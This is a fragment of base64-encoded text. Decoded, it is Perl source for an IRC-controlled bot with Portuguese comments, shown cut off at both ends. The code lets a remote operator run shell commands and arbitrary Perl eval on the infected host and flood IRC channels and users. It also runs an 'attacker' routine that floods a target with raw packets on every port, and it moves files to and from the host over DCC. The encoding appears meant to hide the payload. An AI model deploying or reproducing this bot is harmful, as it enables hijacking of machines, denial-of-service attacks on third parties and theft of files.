ogICAgICBwKFwiJDFcIik7CiAgIH0KICAgaWYgKFwkY2FzZSA9fiAvXnJlam9pblxzKyguKikvKSB7CiAgICAgIG15IFwkY2hhbiA9ICQxOwogICAgICBpZiAoXCRjaGFuID1+IC9eKFxkKykgKC4qKS8pIHsKICAgICAgICBmb3IgKG15IFwkY2EgPSAxOyBcJGNhIDw9ICQxOyBcJGNhKysgKSB7CiAgICAgICAgICBwKFwiJDJcIik7CiAgICAgICAgICBqKFwiJDJcIik7CiAgICAgICAgfQogICAgICB9IGVsc2UgewogICAgICAgICAgcChcIlwkY2hhblwiKTsKICAgICAgICAgIGooXCJcJGNoYW5cIik7CiAgICAgIH0KICAgfQogICBpZiAoXCRjYXNlID1+IC9eb3AvKSB7CiAgICAgIG9wKFwiXCRwcmludGxcIiwgXCJcJGtlbVwiKSBpZiBcJGNhc2UgZXEgXCJvcFwiOwogICAgICBteSBcJG9hcmcgPSBzdWJzdHIoXCRjYXNlLCAzKTsKICAgICAgb3AoXCIkMVwiLCBcIiQyXCIpIGlmIChcJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBpZiAoXCRjYXNlID1+IC9eZGVvcC8pIHsKICAgICAgZGVvcChcIlwkcHJpbnRsXCIsIFwiXCRrZW1cIikgaWYgXCRjYXNlIGVxIFwiZGVvcFwiOwogICAgICBteSBcJG9hcmcgPSBzdWJzdHIoXCRjYXNlLCA1KTsKICAgICAgZGVvcChcIiQxXCIsIFwiJDJcIikgaWYgKFwkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOwogICB9CiAgIGlmIChcJGNhc2UgPX4gL152b2ljZS8pIHsKICAgICAgdm9pY2UoXCJcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcInZvaWNlXCI7CiAgICAgIFwkb2FyZyA9IHN1YnN0cihcJGNhc2UsIDYpOwogICAgICB2b2ljZShcIiQxXCIsIFwiJDJcIikgaWYgKFwkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOwogICB9CiAgIGlmIChcJGNhc2UgPX4gL15kZXZvaWNlLykgewogICAgICBkZXZvaWNlKFwiXCRwcmludGxcIiwgXCJcJGtlbVwiKSBpZiBcJGNhc2UgZXEgXCJkZXZvaWNlXCI7CiAgICAgIFwkb2FyZyA9IHN1YnN0cihcJGNhc2UsIDgpOwogICAgICBkZXZvaWNlKFwiJDFcIiwgXCIkMlwiKSBpZiAoXCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAgaWYgKFwkY2FzZSA9fiAvXm1zZ1xzKyhcUyspICguKikvKSB7CiAgICAgIG1zZyhcIiQxXCIsIFwiJDJcIik7CiAgIH0KICAgaWYgKFwkY2FzZSA9fiAvXmZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgewogICAgICBmb3IgKG15IFwkY2YgPSAxOyBcJGNmIDw9ICQxOyBcJGNmKyspIHsKICAgICAgICBtc2coXCIkMlwiLCBcIiQzXCIpOwogICAgICB9CiAgIH0KICAgaWYgKFwkY2FzZSA9fiAvXmN0Y3BccysoXFMrKSAoLiopLykgewogICAgICBjdGNwKFwiJDFcIiwgXCIkMlwiKTsKICAgfQogICBpZiAoXCRjYXNlID1+IC9eY3RjcGZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgewogICAgICBmb3IgKG15IFwkY2YgPSAxOyBcJGNmIDw9ICQxOyBcJGNmKyspIHsKICAgICAgICBjdGNwKFwiJDJcIiwgXCIkM1wiKTsKICAgICAgfQogICB9CiAgIGlmIChcJGNhc2UgPX4gL15pbnZpdGVccysoXFMrKSAoLiopLykgewogICAgICBpbnZpdGUoXCIkMVwiLCBcIiQyXCIpOwogICB9CiAgIGlmIChcJGNhc2UgPX4gL15uaWNrICguKikvKSB7CiAgICAgIG5pY2soXCIkMVwiKTsKICAgfQogICBpZiAoXCRjYXNlID1+IC9eY29uZWN0YVxzKyhcUyspXHMrKFxTKykvKSB7CiAgICAgICBjb25lY3RhcihcIiQyXCIsIFwiJDFcIiwgNjY2Nyk7CiAgIH0KICAgaWYgKFwkY2FzZSA9fiAvXnNlbmRccysoXFMrKVxzKyhcUyspLykgewogICAgICBEQ0M6OlNFTkQoXCIkMVwiLCBcIiQyXCIpOwogICB9CiAgIGlmIChcJGNhc2UgPX4gL15yYXcgKC4qKS8pIHsKICAgICAgc2VuZHJhdyhcIiQxXCIpOwogICB9CiAgIGlmIChcJGNhc2UgPX4gL15ldmFsICguKikvKSB7CiAgICAgZXZhbCBcIiQxXCI7CiAgIH0KfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKc3ViIHNoZWxsIHsKICByZXR1cm4gdW5sZXNzIFwkc2VjdjsKICBteSBcJHByaW50bD1cJF9bMF07CiAgbXkgXCRjb21hbmRvPVwkX1sxXTsKICBpZiAoXCRjb21hbmRvID1+IC9jZCAoLiopLykgewogICAgY2hkaXIoXCIkMVwiKSB8fCBtc2coXCJcJHByaW50bFwiLCBcIkRvc3NpZXIgTWFrYXllbmNoIDpEIFwiKTsKICAgIHJldHVybjsKICB9CiAgZWxzaWYgKFwkcGlkID0gZm9yaykgewogICAgIHdhaXRwaWQoXCRwaWQsIDApOwogIH0gZWxzZSB7CiAgICAgIGlmIChmb3JrKSB7CiAgICAgICAgIGV4aXQ7CiAgICAgICB9IGVsc2UgewogICAgICAgICAgIG15IEByZXNwPWBcJGNvbWFuZG8gMj4mMSAzPiYxYDsKICAgICAgICAgICBteSBcJGM9MDsKICAgICAgICAgICBmb3JlYWNoIG15IFwkbGluaGEgKEByZXNwKSB7CiAgICAgICAgICAgICBcJGMrKzsKICAgICAgICAgICAgIGNob3AgXCRsaW5oYTsKICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpcJGxpbmhhXCIpOwogICAgICAgICAgICAgaWYgKFwkYyA9PSBcIlwkbGluYXNfbWF4XCIpIHsKICAgICAgICAgICAgICAgXCRjPTA7CiAgICAgICAgICAgICAgIHNsZWVwIFwkc2xlZXA7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7CiAgICAgICB9CiAgfQp9CgojZXUgZml6IHVtIHBhY290YWRvcnppbmh1IGUgdGFsei4uIGRhaSBjb2xva2VtbyBlbGUgYWtpCnN1YiBhdHRhY2tlciB7CiAgbXkgXCRpYWRkciA9IGluZXRfYXRvbihcJF9bMF0pOwogIG15IFwkbXNnID0gJ0InIHggXCRfWzFdOwogIG15IFwkZnRpbWUgPSBcJF9bMl07CiAgbXkgXCRjcCA9IDA7CiAgbXkgKCVwYWNvdGVzKTsKICBcJHBhY290ZXN7aWNtcH0gPSBcJHBhY290ZXN7aWdtcH0gPSBcJHBhY290ZXN7dWRwfSA9IFwkcGFjb3Rlc3tvfSA9IFwkcGFjb3Rlc3t0Y3B9ID0gMDsKCiAgc29ja2V0KFNPQ0sxLCBQRl9JTkVULCBTT0NLX1JBVywgMikgb3IgXCRjcCsrOwogIHNvY2tldChTT0NLMiwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpIG9yIFwkY3ArKzsKICBzb2NrZXQoU09DSzMsIFBGX0lORVQsIFNPQ0tfUkFXLCAxKSBvciBcJGNwKys7CiAgc29ja2V0KFNPQ0s0LCBQRl9JTkVULCBTT0NLX1JBVywgNikgb3IgXCRjcCsrOwogIHJldHVybih1bmRlZikgaWYgXCRjcCA9PSA0OwogIG15IFwkaXRpbWUgPSB0aW1lOwogIG15IChcJGN1cl90aW1lKTsKICB3aGlsZSAoIDEgKSB7CiAgICAgZm9yIChteSBcJHBvcnRhID0gMTsgXCRwb3J0YSA8PSA2NTUzNTsgXCRwb3J0YSsrKSB7CiAgICAgICBcJGN1cl90aW1lID0gdGltZSAtIFwkaXRpbWU7CiAgICAgICBsYXN0IGlmIFwkY3VyX3RpbWUgPj0gXCRmdGltZTsKICAgICAgIHNlbmQoU09DSzEsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLCBcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3tpZ21wfSsrOwogICAgICAgc2VuZChTT0NLMiwgXCRtc2csIDAsIHNvY2thZGRyX2luKFwkcG9ydGEsIFwkaWFkZHIpKSBhbmQgXCRwYWNvdGVze3VkcH0rKzsKICAgICAgIHNlbmQoU09DSzMsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLCBcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3tpY21wfSsrOwogICAgICAgc2VuZChTT0NLNCwgXCRtc2csIDAsIHNvY2thZGRyX2luKFwkcG9ydGEsIFwkaWFkZHIpKSBhbmQgXCRwYWNvdGVze3RjcH0rKzsKCiAgICAgICAjIERvUyA/PyA6UAogICAgICAgZm9yIChteSBcJHBjID0gMzsgXCRwYyA8PSAyNTU7XCRwYysrKSB7CiAgICAgICAgIG5leHQgaWYgXCRwYyA9PSA2OwogICAgICAgICBcJGN1cl90aW1lID0gdGltZSAtIFwkaXRpbWU7CiAgICAgICAgIGxhc3QgaWYgXCRjdXJfdGltZSA+PSBcJGZ0aW1lOwogICAgICAgICBzb2NrZXQoU09DSzUsIFBGX0lORVQsIFNPQ0tfUkFXLCBcJHBjKSBvciBuZXh0OwogICAgICAgICBzZW5kKFNPQ0s1LCBcJG1zZywgMCwgc29ja2FkZHJfaW4oXCRwb3J0YSwgXCRpYWRkcikpIGFuZCBcJHBhY290ZXN7b30rKzs7CiAgICAgICB9CiAgICAgfQogICAgIGxhc3QgaWYgXCRjdXJfdGltZSA+PSBcJGZ0aW1lOwogIH0KICByZXR1cm4oXCRjdXJfdGltZSwgJXBhY290ZXMpOwp9CgojIyMjIyMjIyMjIyMjCiMgQUxJQVNFUyAjCiMjIyMjIyMjIyMjIyMKCnN1YiBhY3Rpb24gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KFwiUFJJVk1TRyBcJF9bMF0gOlxcMDAxQUNUSU9OIFwkX1sxXVxcMDAxXCIpOwp9CgpzdWIgY3RjcCB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoXCJQUklWTVNHIFwkX1swXSA6XFwwMDFcJF9bMV1cXDAwMVwiKTsKfQpzdWIgbXNnIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIlBSSVZNU0cgXCRfWzBdIDpcJF9bMV1cIik7Cn0KCnN1YiBub3RpY2UgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KFwiTk9USUNFIFwkX1swXSA6XCRfWzFdXCIpOwp9CgpzdWIgb3AgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK28gXCRfWzFdXCIpOwp9CnN1YiBkZW9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIk1PREUgXCRfWzBdIC1vIFwkX1sxXVwiKTsKfQpzdWIgaG9wIHsKICAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSAraCBcJF9bMV1cIik7Cn0Kc3ViIGRlaG9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIk1PREUgXCRfWzBdICtoIFwkX1sxXVwiKTsKfQpzdWIgdm9pY2UgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK3YgXCRfWzFdXCIpOwp9CnN1YiBkZXZvaWNlIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIk1PREUgXCRfWzBdIC12IFwkX1sxXVwiKTsKfQpzdWIgYmFuIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIk1PREUgXCRfWzBdICtiIFwkX1sxXVwiKTsKfQpzdWIgdW5iYW4gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gLWIgXCRfWzFdXCIpOwp9CnN1YiBraWNrIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIktJQ0sgXCRfWzBdIFwkX1sxXSA6XCRfWzJdXCIpOwp9CgpzdWIgbW9kbyB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSBcJF9bMV1cIik7Cn0Kc3ViIG1vZGUgeyBtb2RvKEBfKTsgfQoKc3ViIGogeyAmam9pbihAXyk7IH0Kc3ViIGpvaW4gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogICBzZW5kcmF3KFwiSk9JTiBcJF9bMF1cIik7Cn0Kc3ViIHAgeyBwYXJ0KEBfKTsgfQpzdWIgcGFydCB7c2VuZHJhdyhcIlBBUlQgXCRfWzBdXCIpO30KCnN1YiBuaWNrIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRyYXcoXCJOSUNLIFwkX1swXVwiKTsKfQoKc3ViIGludml0ZSB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoXCJJTlZJVEUgXCRfWzFdIFwkX1swXVwiKTsKfQpzdWIgdG9waWNvIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdyhcIlRPUElDIFwkX1swXSBcJF9bMV1cIik7Cn0Kc3ViIHRvcGljIHsgdG9waWNvKEBfKTsgfQoKc3ViIHdob2lzIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRyYXcoXCJXSE9JUyBcJF9bMF1cIik7Cn0Kc3ViIHdobyB7CiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsKICBzZW5kcmF3KFwiV0hPIFwkX1swXVwiKTsKfQpzdWIgbmFtZXMgewogIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgc2VuZHJhdyhcIk5BTUVTIFwkX1swXVwiKTsKfQpzdWIgYXdheSB7CiAgc2VuZHJhdyhcIkFXQVkgXCRfWzBdXCIpOwp9CnN1YiBiYWNrIHsgYXdheSgpOyB9CnN1YiBxdWl0IHsKICBzZW5kcmF3KFwiUVVJVCA6XCRfWzBdXCIpOwp9CgojIERDQwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpwYWNrYWdlIERDQzsKCnN1YiBjb25uZWN0aW9ucyB7CiAgIG15IEByZWFkeSA9IFwkZGNjX3NlbC0+Y2FuX3JlYWQoMSk7CiMgcmV0dXJuIHVubGVzcyAoQHJlYWR5KTsKICAgZm9yZWFjaCBteSBcJGZoIChAcmVhZHkpIHsKICAgICBteSBcJGRjY3RpcG8gPSBcJERDQ3tcJGZofXt0aXBvfTsKICAgICBteSBcJGFycXVpdm8gPSBcJERDQ3tcJGZofXthcnF1aXZvfTsKICAgICBteSBcJGJ5dGVzID0gXCREQ0N7XCRmaH17Ynl0ZXN9OwogICAgIG15IFwkY3VyX2J5dGUgPSBcJERDQ3tcJGZofXtjdXJieXRlfTsKICAgICBteSBcJG5pY2sgPSBcJERDQ3tcJGZofXtuaWNrfTsKCgogICAgIG15IFwkbXNnOwogICAgIG15IFwkbnJlYWQgPSBzeXNyZWFkKFwkZmgsIFwkbXNnLCAxMDI0MCk7CgogICAgIGlmIChcJG5yZWFkID09IDAgYW5kIFwkZGNjdGlwbyA9fiAvXihnZXR8c2VuZGNvbikkLykgewogICAgICAgIFwkRENDe1wkZmh9e3N0YXR1c30gPSBcIkNhbmNlbGFkb1wiOwogICAgICAgIFwkRENDe1wkZmh9e2Z0aW1lfSA9IHRpbWU7CiAgICAgICAgXCRkY2Nfc2VsLT5yZW1vdmUoXCRmaCk7CiAgICAgICAgXCRmaC0+Y2xvc2U7CiAgICAgICAgbmV4dDsKICAgICB9CgogICAgIGlmIChcJGRjY3RpcG8gZXEgXCJnZXRcIikgewogICAgICAgIFwkRENDe1wkZmh9e2N1cmJ5dGV9ICs9IGxlbmd0aChcJG1zZyk7CgogICAgICAgIG15IFwkY3VyX2J5dGUgPSBcJERDQ3tcJGZofXtjdXJieXRlfTsKCiAgICAgICAgb3BlbihGSUxFLCBcIj4+IFwkYXJxdWl2b1wiKTsKICAgICAgICBwcmludCBGSUxFIFwiXCRtc2dcIiBpZiAoXCRjdXJfYnl0ZSA8PSBcJGJ5dGVzKTsKICAgICAgICBjbG9zZShGSUxFKTsKCiAgICAgICAgbXkgXCRwYWNrYnl0ZSA9IHBhY2soXCJOXCIsIFwkY3VyX2J5dGUpOwogICAgICAgIHByaW50IFwkZmggXCJcJHBhY2tieXRlXCI7CgoKICAgICAgICBpZiAoXCRieXRlcyA9PSBcJGN1cl9ieXRlKSB7CiAgICAgICAgICAgXCRkY2Nfc2VsLT5yZW1vdmUoXCRmaCk7CiAgICAgICAgICAgXCRmaC0+Y2xvc2U7CiAgICAgICAgICAgXCREQ0N7XCRmaH17c3RhdHVzfSA9IFwiUmVjZWJpZG9cIjsKICAgICAgICAgICBcJERDQ3tcJGZofXtmdGltZX0gPSB0aW1lOwogICAgICAgICAgIG5leHQ7CiAgICAgICAgfQogICAgIH0gZWxzaWYgKFwkZGNjdGlwbyBlcSBcInNlbmRcIikgewogICAgICAgICAgbXkgXCRzZW5kID0gXCRmaC0+YWNjZXB0OwogICAgICAgICAgXCRzZW5kLT5hdXRvZmx1c2goMSk7CiAgICAgICAgICBcJGRjY19zZWwtPmFkZChcJHNlbmQpOwogICAgICAgICAgXCRkY2Nfc2VsLT5yZW1vdmUoXCRmaCk7CiAgICAgICAgICBcJERDQ3tcJHNlbmR9e3RpcG99ID0gJ3NlbmRjb24nOwogICAgICAgICAgXCREQ0N7XCRzZW5kfXtpdGltZX0gPSB0aW1lOwogICAgICAgICAgXCREQ0N7XCRzZW5kfXtuaWNrfSA9IFwkbmljazsKICAgICAgICAgIFwkRENDe1wkc2VuZH17Ynl0ZXN9ID0gXCRieXRlczsKICAgICAgICAgIFwkRENDe1wkc2VuZH17Y3VyYnl0ZX0gPSAwOwogICAgICAgICAgXCREQ0N7XCRzZW5kfXthcnF1aXZvfSA9IFwkYXJxdWl2bzsKICAgICAgICAgIFwkRENDe1wkc2VuZH17aXB9ID0gXCRzZW5kLT5wZWVyaG9zdDsKICAgICAgICAgIFwkRENDe1wkc2VuZH17cG9ydGF9ID0gXCRzZW5kLT5wZWVycG9ydDsKICAgICAgICAgIFwkRENDe1wkc2VuZH17c3RhdHVzfSA9IFwiRW52aWFuZG9cIjsKICAgICAgICAgICNkZSBjYXJhIG1hbmRhIG9zIHByaW1laXJvIDEwMjQgYnl0ZXMgZG8gYXJraXZvLi4gbyByZXN0byBmaWsgY29tIG8gc2VuZGNvbgogICAgICAgICAgb3BlbihGSUxFLCBcIjwgXCRhcnF1aXZvXCIpOwogICAgICAgICAgbXkgXCRmYnl0ZXM7CiAgICAgICAgICByZWFkKEZJTEUsIFwkZmJ5dGVzLCAxMDI0KTsKICAgICAgICAgIHByaW50IFwkc2VuZCBcIlwkZmJ5dGVzXCI7CiAgICAgICAgICBjbG9zZSBGSUxFOwojIGRlbGV0ZShcJERDQ3tcJGZofSk7Cn0gZWxzaWYgKFwkZGNjdGlwbyBlcSAnc2VuZGNvbicpIHsKICAgICAgICAgIG15IFwkYnl0ZXNfc2VuZGVkID0gdW5wYWNrKFwiTlwiLCBcJG1zZyk7CiAgICAgICAgICBcJERDQ3tcJGZofXtjdXJieXRlfSA9IFwkYnl0ZXNfc2VuZGVkOwogICAgICAgICAgaWYgKFwkYnl0ZXNfc2VuZGVkID09IFwkYnl0ZXMpIHsKICAgICAgICAgICAgIFwkZmgtPmNsb3NlOwogICAgICAgICAgICAgXCRkY2Nfc2VsLT5yZW1vdmUoXCRmaCk7CiAgICAgICAgICAgICBcJERDQ3tcJGZofXtzdGF0dXN9ID0gXCJFbnZpYWRvXCI7CiAgICAgICAgICAgICBcJERDQ3tcJGZofXtmdGltZX0gPSB0aW1lOwogICAgICAgICAgICAgbmV4dDsKICAgICAgICAgIH0KICAgICAgICAgIG9wZW4oU0VOREZJTEUsIFwiPCBcJGFycXVpdm9cIik7CiAgICAgICAgICBzZWVrKFNFTkRGSUxFLCBcJGJ5dGVzX3NlbmRlZCwgMCk7CiAgICAgICAgICBteSBcJHNlbmRfYnl0ZXM7CiAgICAgICAgICByZWFkKFNFTkRGSUxFLCBcJHNlbmRfYnl0ZXMsIDEwMjQpOwogICAgICAgICAgcHJpbnQgXCRmaCBcIlwkc2VuZF9ieXRlc1wiOwogICAgICAgICAgY2xvc2UoU0VOREZJTEUpOwogICAgIH0KICAgfQp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpzdWIgU0VORCB7CiAgbXkgKFwkbmljaywgXCRhcnF1aXZvKSA9IEBfOwogIHVubGVzcyAoLXIgXCJcJGFycXVpdm9cIikgewogICAgcmV0dXJuKDApOwogIH0KCiAgbXkgXCRkY2NhcmsgPSBcJGFycXVpdm87CiAgXCRkY2NhcmsgPX4gcy9bLipcL10oXFMrKS8kMS87CgogIG15IFwkbWV1aXAgPSAkOjppcmNfc2VydmVyc3tcIiQ6OklSQ19jdXJfc29ja2V0XCJ9eydtZXVpcCd9OwogIG15IFwkbG9uZ2lwID0gdW5wYWNrKFwiTlwiLGluZXRfYXRvbihcJG1ldWlwKSk7CgogIG15IEBmaWxlc3RhdCA9IHN0YXQoXCRhcnF1aXZvKTsKICBteSBcJHNpemVfdG90YWw9XCRmaWxlc3RhdFs3XTsKICBpZiAoXCRzaXplX3RvdGFsID09IDApIHsKICAgICByZXR1cm4oMCk7CiAgfQoKICBteSAoXCRwb3J0YSwgXCRzZW5kc29jayk7CiAgZG8gewogICAgXCRwb3J0YSA9IGludCByYW5kKDY0NTExKTsKICAgIFwkcG9ydGEgKz0gMTAyNDsKICAgIFwkc2VuZHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoTGlzdGVuPT4xLCBMb2NhbFBvcnQgPT5cJHBvcnRhLCBQcm90byA9PiAndGNwJykgYW5kIFwkZGNjX3NlbC0+YWRkKFwkc2VuZHNvY2spOwogIH0gdW50aWwgXCRzZW5kc29jazsKCiAgXCREQ0N7XCRzZW5kc29ja317dGlwb30gPSAnc2VuZCc7CiAgXCREQ0N7XCRzZW5kc29ja317bmlja30gPSBcJG5pY2s7CiAgXCREQ0N7XCRzZW5kc29ja317Ynl0ZXN9ID0gXCRzaXplX3RvdGFsOwogIFwkRENDe1wkc2VuZHNvY2t9e2FycXVpdm99ID0gXCRhcnF1aXZvOwoKICAmOjpjdGNwKFwiXCRuaWNrXCIsIFwiRENDIFNFTkQgXCRkY2NhcmsgXCRsb25naXAgXCRwb3J0YSBcJHNpemVfdG90YWxcIik7Cgp9CgpzdWIgR0VUIHsKICBteSAoXCRhcnF1aXZvLCBcJGRjY2xvbmdpcCwgXCRkY2Nwb3J0YSwgXCRieXRlcywgXCRuaWNrKSA9IEBfOwogIHJldHVybigwKSBpZiAoLWUgXCJcJGFycXVpdm9cIik7CiAgaWYgKG9wZW4oRklMRSwgXCI+IFwkYXJxdWl2b1wiKSkgewogICAgIGNsb3NlIEZJTEU7CiAgfSBlbHNlIHsKICAgIHJldHVybigwKTsKICB9CgogIG15IFwkZGNjaXA9Zml4YWRkcihcJGRjY2xvbmdpcCk7CiAgcmV0dXJuKDApIGlmIChcJGRjY3BvcnRhIDwgMTAyNCBvciBub3QgZGVmaW5lZCBcJGRjY2lwIG9yIFwkYnl0ZXMgPCAxKTsKICBteSBcJGRjY3NvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PlwidGNwXCIsIFBlZXJBZGRyPT5cJGRjY2lwLCBQZWVyUG9ydD0+XCRkY2Nwb3J0YSwgVGltZW91dD0+MTUpIG9yIHJldHVybiAoMCk7CiAgXCRkY2Nzb2NrLT5hdXRvZmx1c2goMSk7CiAgXCRkY2Nfc2VsLT5hZGQoXCRkY2Nzb2NrKTsKICBcJERDQ3tcJGRjY3NvY2t9e3RpcG99ID0gJ2dldCc7CiAgXCREQ0N7XCRkY2Nzb2NrfXtpdGltZX0gPSB0aW1lOwogIFwkRENDe1wkZGNjc29ja317bmlja30gPSBcJG5pY2s7CiAgXCREQ0N7XCRkY2Nzb2NrfXtieXRlc30gPSBcJGJ5dGVzOwogIFwkRENDe1wkZGNjc29ja317Y3VyYnl0ZX0gPSAwOwogIFwkRENDe1wkZGNjc29ja317YXJxdWl2b30gPSBcJGFycXVpdm87CiAgXCREQ0N7XCRkY2Nzb2NrfXtpcH0gPSBcJGRjY2lwOwogIFwkRENDe1wkZGNjc29ja317cG9ydGF9ID0gXCRkY2Nwb3J0YTsKICBcJERDQ3tcJGRjY3NvY2t9e3N0YXR1c30gPSBcIlJlY2ViZW5kb1wiOwp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBwbyBmaWNvIHhhdG8gZGUgb3JnYW5pemEgbyBzdGF0dXMuLiBkYWkgZml6IGVsZSByZXRvcm5hIG8gc3RhdHVzIGRlIGFjb3JkbyBjb20gbyBzb2NrZXQuLiBkYWkgbyBBRE0ucGwgbGlzdGEgb3Mgc29ja2V0cyBlIGZheiBhcyBwZXJndW50YXMKc3ViIFN0YXR1cyB7CiAgbXkgXCRzb2NrZXQgPSBzaGlmdDsKICBteSBcJHNvY2tfdGlwbyA9IFwkRENDe1wkc29ja2V0fXt0aXBvfTsKICB1bmxlc3MgKGxjKFwkc29ja190aXBvKSBlcSBcImNoYXRcIikgewogICAgbXkgXCRuaWNrID0gXCREQ0N7XCRzb2NrZXR9e25pY2t9OwogICAgbXkgXCRhcnF1aXZvID0gXCREQ0N7XCRzb2NrZXR9e2FycXVpdm99OwogICAgbXkgXCRpdGltZSA9IFwkRENDe1wkc29ja2V0fXtpdGltZX07CiAgICBteSBcJGZ0aW1lID0gdGltZTsKICAgIG15IFwkc3RhdHVzID0gXCREQ0N7XCRzb2NrZXR9e3N0YXR1c307CiAgICBcJGZ0aW1lID0gXCREQ0N7XCRzb2NrZXR9e2Z0aW1lfSBpZiBkZWZpbmVkKFwkRENDe1wkc29ja2V0fXtmdGltZX0pOwoKICAgIG15IFwkZF90aW1lID0gXCRmdGltZS1cJGl0aW1lOwoKICAgIG15IFwkY3VyX2J5dGUgPSBcJERDQ3tcJHNvY2tldH17Y3VyYnl0ZX07CiAgICBteSBcJGJ5dGVzX3RvdGFsID0gXCREQ0N7XCRzb2NrZXR9e2J5dGVzfTsKCiAgICBteSBcJHJhdGUgPSAwOwogICAgXCRyYXRlID0gKFwkY3VyX2J5dGUvMTAyNCkvXCRkX3RpbWUgaWYgXCRjdXJfYnl0ZSA+IDA7CiAgICBteSBcJHBvcmNlbiA9IChcJGN1cl9ieXRlKjEwMCkvXCRieXRlc190b3RhbDsKCiAgICBteSAoXCRyX2R1diwgXCRwX2R1dik7CiAgICBpZiAoXCRyYXRlID1+IC9eKFxkKylcLihcZCkoXGQpKFxkKS8pIHsKICAgICAgIFwkcl9kdXYgPSAkMzsgXCRyX2R1disrIGlmICQ0ID49IDU7CiAgICAgICBcJHJhdGUgPSBcIiQxXC4kMlwiLlwiXCRyX2R1dlwiOwogICAgfQogICAgaWYgKFwkcG9yY2VuID1+IC9eKFxkKylcLihcZCkoXGQpKFxkKS8pIHsKICAgICAgIFwkcF9kdXYgPSAkMzsgXCRwX2R1disrIGlmICQ0ID49IDU7CiAgICAgICBcJHBvcmNlbiA9IFwiJDFcLiQyXCIuXCJcJHBfZHV2XCI7CiAgICB9CiAgICByZXR1cm4oXCJcJHNvY2tfdGlwb1wiLFwiXCRzdGF0dXNcIixcIlwkbmlja1wiLFwiXCRhcnF1aXZvXCIsXCJcJGJ5dGVzX3RvdGFsXCIsIFwiXCRjdXJfYnl0ZVwiLFwiXCRkX3RpbWVcIiwgXCJcJHJhdGVcIiwgXCJcJHBvcmNlblwiKTsKICB9CgogIHJldHVybigwKTsKfQoKIyBlc3NlICdzdWIgZml4YWRkcicgZGFraSBmb2kgcGVnbyBkbyBORVQ6OklSQzo6RENDIGlkZW50aWNvIHNvaCBjb3BpZWkgZSBjb2xvZWkgKGNvbG9rYXIgbm9tZSBkbyBhdXRvcikKc3ViIGZpeGFkZHIgewogICAgbXkgKFwkYWRkcmVzcykgPSBAXzsKCiAgICBjaG9tcCBcJGFkZHJlc3M7ICMganVzdCBpbiBjYXNlLCBzaWdoLgogICAgaWYgKFwkYWRkcmVzcyA9fiAvXlxkKyQvKSB7CiAgICAgICAgcmV0dXJuIGluZXRfbnRvYShwYWNrIFwiTlwiLCBcJGFkZHJlc3MpOwogICAgfSBlbHNpZiAoXCRhZGRyZXNzID1+IC9eWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9JC8pIHsKICAgICAgICByZXR1cm4gXCRhZGRyZXNzOwogICAgfSBlbHNpZiAoXCRhZGRyZXNzID1+IHRyL2EtekEtWi8vKSB7ICMgV2hlZSEgT2JmdXNjYXRpb24hCiAgICAgICAgcmV0dXJuIGluZXRfbnRvYSgoKGdldGhvc3RieW5hbWUoXCRhZGRyZXNzKSlbNF0pWzBdKTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuOwogICAgfQp9CiMjIyMjIyMjIyMjIyMjIyMjI